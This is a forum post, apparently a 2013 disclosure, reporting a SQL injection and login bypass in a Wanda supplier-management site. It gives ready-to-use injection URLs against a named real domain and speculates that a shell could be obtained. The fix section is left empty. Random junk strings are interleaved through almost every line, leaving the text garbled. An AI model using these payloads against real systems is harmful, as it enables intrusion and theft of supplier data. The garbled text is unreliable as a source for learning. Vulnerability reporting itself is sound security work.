中国网络渗透测试联盟

标题: 万达供应商系统SQL注射漏洞 [打印本页]
作者: admin    时间: 2013-3-24 20:16
标题: 万达供应商系统SQL注射漏洞
简要描述：万达某分站sql注入。敏感信息泄露。  @! Q$ c8 [" b/ k8 I- ~
详细说明：
) Z% ^3 F8 |# y# T( ~, b1 I  o$ C万达scm系统登陆框sql注入。2 c/ Y! I# Y+ R8 p; A' R, C3 Y6 p

: v$ {% }9 Z2 K! Mhttp://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27$ _( p1 l  ]+ a7 f* Y& R

; o8 @) D: J' ]6 e
3 x: G4 h# ?- I  {. K. E5 X500错误。
: t# _8 S( |" G; O, k* ^
" |: j2 d. H# |5 ]% r' F, n用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。( O1 h+ k" S9 C' {4 A" E# X
http://www.myhack58.com/Article/UploadPic/2013-3/201332317223677547.png0 `6 a' c& \& m' f
截图有一点问题，用户名，和密码输入' and 1=1 --可以得到相同的提示，可自测。）- o2 v" z) W0 p' G/ f3 ?. O5 C8 [
经过分析，登陆验证的过程应该是：
# _% S8 @7 e6 j( E7 M
$ ?9 B  }4 i  n4 }5 E6 ~取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。0 v& O3 E9 c2 _- l
http://www.myhack58.com/Article/UploadPic/2013-3/201332317233886589.png% q* ]# l& F& o
3 p! c0 [) o  F* h* C
oracle数据库，存在注入点。@大连万达，你怎么看？3 K- ?2 N( f  V( a( T
http://www.myhack58.com/Article/UploadPic/2013-3/201332317241777393.png
# _. G5 [% I1 @' Y+ R" Y# _; }4 o, N/ [% F8 V
系统里有万达的供应商资料什么的,提交数据的地方随便输入'，提交500错误。没深入。目测可shell。
4 s- L& I. V; w8 \' @6 l漏洞证明：* |: ^+ V# J$ s* I1 r/ x6 l
万达scm系统登陆框sql注入。# j+ y" t2 u2 v9 i2 M/ r" B3 d7 f

1 O! C& f2 F2 I! `http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27- F% X2 l: Q. _/ c# e4 w* m
) t" {4 p' `, }% f& p

; ]+ h' f7 J1 ~* V$ M8 p500错误。1 ~) z# A- O$ m$ m# M

; u4 |+ C0 p& w' T8 A$ c! s; d0 p8 x用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。$ V  x' U3 ^; A" [- ]
http://www.myhack58.com/Article/UploadPic/2013-3/20133231728465694.png
' [! K! I- B3 C- v6 ]' G& a/ b) A% z7 K6 u/ A7 @* X: P2 r
/ S; C2 D& G0 S9 }3 M+ ~' Z! {
（截图有一点问题）' A3 `7 ?( q. V, n

+ C! c  z) I. f怎么饶都饶不过去；经过分析，登陆验证的过程应该是：' H! [4 `9 B" k  k

( t7 X0 m3 o% W( O& T取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
: s) ~. b" V0 e0 X
# C  M/ o2 P2 E绕过：0 E' g0 U" |+ U0 i8 O
http://www.vans-china.cn/LoginUs ... 1%27=%271&PWD=1
/ V9 g0 n2 w9 l& o: L% v! E% Y# \+ @- U! P% [  Z  O/ [

# E$ T$ j8 r  Uoracle数据库，存在注入点。@大连万达，你怎么看？3 v/ _/ ~" }# @3 m, S8 z; o
​系统里有万达的供应商资料什么的，有发布公告，没深入。目测可shell。" v% V/ v) f2 B
/ s7 |! s. f1 I. j0 ~/ b
修复方案：- l2 H- F7 Y: i9 P7 R
。。。$ }. Q& u  W7 x/ ~& W, a" Y
" M' P" |0 y) q# k4 _! E

, z$ I9 A( n$ {3 Z' b厂商已经确认* H3 i1 g2 ]* B) l/ I

) V( [( m! ?; s6 m) L( g  }$ T9 F[/td][/tr]/ S  ^; F7 g7 `5 r
[/table]
0 C' ]4 s6 [6 H+ q, Y: C& @- a4 q( ~1 s. i- q/ l. H

" b* e& B7 `2 L# n" F4 |



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2